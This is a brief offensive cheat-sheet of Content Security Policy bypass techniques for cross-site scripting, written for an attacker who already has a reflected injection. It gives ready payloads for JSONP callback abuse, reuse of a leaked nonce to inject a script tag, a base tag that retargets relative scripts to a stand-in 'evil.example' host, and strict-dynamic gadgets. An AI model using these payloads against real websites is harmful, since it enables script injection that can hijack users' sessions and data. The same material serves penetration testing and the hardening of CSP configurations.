CSP bypass gadgets
You already have a reflection. These are why it still executes.
Tags: csp, xss, jsonp
Techniques
JSONP on an allowed origin
script-src includes a CDN or API that still has ?callback=.
https://allowed-cdn.example/jsonp?callback=alert
nonce reuse
Inject </script><script nonce=LEAKED> if the nonce is in the page or in a URL.
</script><script nonce="...">alert(1)</script>
missing base-uri
<base href='https://evil'> retargets relative script src.
<base href="https://evil.example/">
strict-dynamic + user gadget
A trusted script that does new Function or document.write of attacker data still runs children.
(trusted lib writes attacker HTML)